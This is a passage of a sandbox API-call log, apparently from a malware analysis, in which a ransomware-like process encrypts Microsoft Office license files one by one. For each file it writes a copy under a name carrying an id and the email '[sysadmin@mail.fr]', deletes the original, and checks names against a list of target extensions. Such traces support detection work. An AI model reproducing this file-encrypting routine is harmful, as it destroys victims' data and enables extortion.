	[0170.662] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.662] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x104, lpOverlapped=0x0) returned 1
	[0170.662] SetEndOfFile (hFile=0x574) returned 1
	[0170.662] CloseHandle (hObject=0x574) returned 1
	[0170.662] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.662] SetEndOfFile (hFile=0x4d8) returned 1
	[0170.665] CloseHandle (hObject=0x4d8) returned 1
	[0170.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1
	[0170.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0170.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0170.667] lstrlenW (lpString=".doc") returned 4
	[0170.667] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.667] lstrlenW (lpString=".docx") returned 5
	[0170.667] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.667] lstrlenW (lpString=".pdf") returned 4
	[0170.667] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.667] lstrlenW (lpString=".xls") returned 4
	[0170.667] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.667] lstrlenW (lpString=".xlsx") returned 5
	[0170.667] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.667] lstrlenW (lpString=".ppt") returned 4
	[0170.667] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0170.668] lstrlenW (lpString=".zip") returned 4
	[0170.668] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.668] lstrlenW (lpString=".rar") returned 4
	[0170.668] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.668] lstrlenW (lpString=".bz2") returned 4
	[0170.668] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.668] lstrlenW (lpString=".7z") returned 3
	[0170.668] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0170.668] lstrlenW (lpString=".dbf") returned 4
	[0170.668] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0170.668] lstrlenW (lpString=".1cd") returned 4
	[0170.668] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0170.668] lstrlenW (lpString=".jpg") returned 4
	[0170.668] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.671] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=26524) returned 1
	[0170.672] CloseHandle (hObject=0x4d8) returned 1
	[0170.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220
	[0170.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0170.673] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.673] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.674] GetLastError () returned 0x0
	[0170.674] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x679c, lpOverlapped=0x0) returned 1
	[0171.085] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0171.087] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.087] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x106, lpOverlapped=0x0) returned 1
	[0171.087] SetEndOfFile (hFile=0x574) returned 1
	[0171.480] CloseHandle (hObject=0x574) returned 1
	[0171.482] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.482] SetEndOfFile (hFile=0x4d8) returned 1
	[0171.487] CloseHandle (hObject=0x4d8) returned 1
	[0171.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1
	[0171.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0171.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0171.501] lstrlenW (lpString=".doc") returned 4
	[0171.501] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.501] lstrlenW (lpString=".docx") returned 5
	[0171.502] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.502] lstrlenW (lpString=".pdf") returned 4
	[0171.502] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.502] lstrlenW (lpString=".xls") returned 4
	[0171.502] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.502] lstrlenW (lpString=".xlsx") returned 5
	[0171.502] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.502] lstrlenW (lpString=".ppt") returned 4
	[0171.502] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0171.502] lstrlenW (lpString=".zip") returned 4
	[0171.502] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.502] lstrlenW (lpString=".rar") returned 4
	[0171.502] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.502] lstrlenW (lpString=".bz2") returned 4
	[0171.502] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.502] lstrlenW (lpString=".7z") returned 3
	[0171.502] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0171.503] lstrlenW (lpString=".dbf") returned 4
	[0171.503] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0171.503] lstrlenW (lpString=".1cd") returned 4
	[0171.503] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75
	[0171.503] lstrlenW (lpString=".jpg") returned 4
	[0171.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.503] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=26526) returned 1
	[0171.503] CloseHandle (hObject=0x564) returned 1
	[0171.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220
	[0171.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0171.505] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.505] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0171.505] GetLastError () returned 0x0
	[0171.505] ReadFile (in: hFile=0x564, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x679e, lpOverlapped=0x0) returned 1
	[0171.517] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0171.521] ReadFile (in: hFile=0x564, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.521] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10a, lpOverlapped=0x0) returned 1
	[0171.521] SetEndOfFile (hFile=0x574) returned 1
	[0171.522] CloseHandle (hObject=0x574) returned 1
	[0171.522] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.522] SetEndOfFile (hFile=0x564) returned 1
	[0171.531] CloseHandle (hObject=0x564) returned 1
	[0171.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1
	[0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0171.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0171.535] lstrlenW (lpString=".doc") returned 4
	[0171.535] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.535] lstrlenW (lpString=".docx") returned 5
	[0171.535] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.535] lstrlenW (lpString=".pdf") returned 4
	[0171.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.535] lstrlenW (lpString=".xls") returned 4
	[0171.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString=".xlsx") returned 5
	[0171.536] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.536] lstrlenW (lpString=".ppt") returned 4
	[0171.536] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0171.536] lstrlenW (lpString=".zip") returned 4
	[0171.536] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString=".rar") returned 4
	[0171.536] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString=".bz2") returned 4
	[0171.536] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString=".7z") returned 3
	[0171.536] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0171.536] lstrlenW (lpString=".dbf") returned 4
	[0171.536] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0171.536] lstrlenW (lpString=".1cd") returned 4
	[0171.536] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0171.536] lstrlenW (lpString=".jpg") returned 4
	[0171.536] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.537] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11600) returned 1
	[0171.537] CloseHandle (hObject=0x564) returned 1
	[0171.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0171.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0171.538] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.538] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0171.539] GetLastError () returned 0x0
	[0171.539] ReadFile (in: hFile=0x564, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d50, lpOverlapped=0x0) returned 1
	[0171.807] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0171.808] ReadFile (in: hFile=0x564, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.808] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x110, lpOverlapped=0x0) returned 1
	[0171.808] SetEndOfFile (hFile=0x574) returned 1
	[0171.808] CloseHandle (hObject=0x574) returned 1
	[0171.808] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.809] SetEndOfFile (hFile=0x564) returned 1
	[0171.812] CloseHandle (hObject=0x564) returned 1
	[0171.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1
	[0171.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0171.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0171.933] lstrlenW (lpString=".doc") returned 4
	[0171.933] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.933] lstrlenW (lpString=".docx") returned 5
	[0171.933] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.933] lstrlenW (lpString=".pdf") returned 4
	[0171.933] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.933] lstrlenW (lpString=".xls") returned 4
	[0171.933] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.933] lstrlenW (lpString=".xlsx") returned 5
	[0171.933] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.933] lstrlenW (lpString=".ppt") returned 4
	[0171.933] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0171.933] lstrlenW (lpString=".zip") returned 4
	[0171.933] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.933] lstrlenW (lpString=".rar") returned 4
	[0171.933] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.933] lstrlenW (lpString=".bz2") returned 4
	[0171.934] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.934] lstrlenW (lpString=".7z") returned 3
	[0171.934] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0171.934] lstrlenW (lpString=".dbf") returned 4
	[0171.934] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0171.934] lstrlenW (lpString=".1cd") returned 4
	[0171.934] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0171.934] lstrlenW (lpString=".jpg") returned 4
	[0171.934] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.113] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11609) returned 1
	[0172.113] CloseHandle (hObject=0x47c) returned 1
	[0172.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0172.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0172.117] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.117] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0172.119] GetLastError () returned 0x0
	[0172.119] ReadFile (in: hFile=0x484, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0172.127] WriteFile (in: hFile=0x458, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0172.129] ReadFile (in: hFile=0x484, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.129] WriteFile (in: hFile=0x458, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x114, lpOverlapped=0x0) returned 1
	[0172.129] SetEndOfFile (hFile=0x458) returned 1
	[0172.129] CloseHandle (hObject=0x458) returned 1
	[0172.129] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.129] SetEndOfFile (hFile=0x484) returned 1
	[0172.132] CloseHandle (hObject=0x484) returned 1
	[0172.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1
	[0172.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0172.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0172.473] lstrlenW (lpString=".doc") returned 4
	[0172.473] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
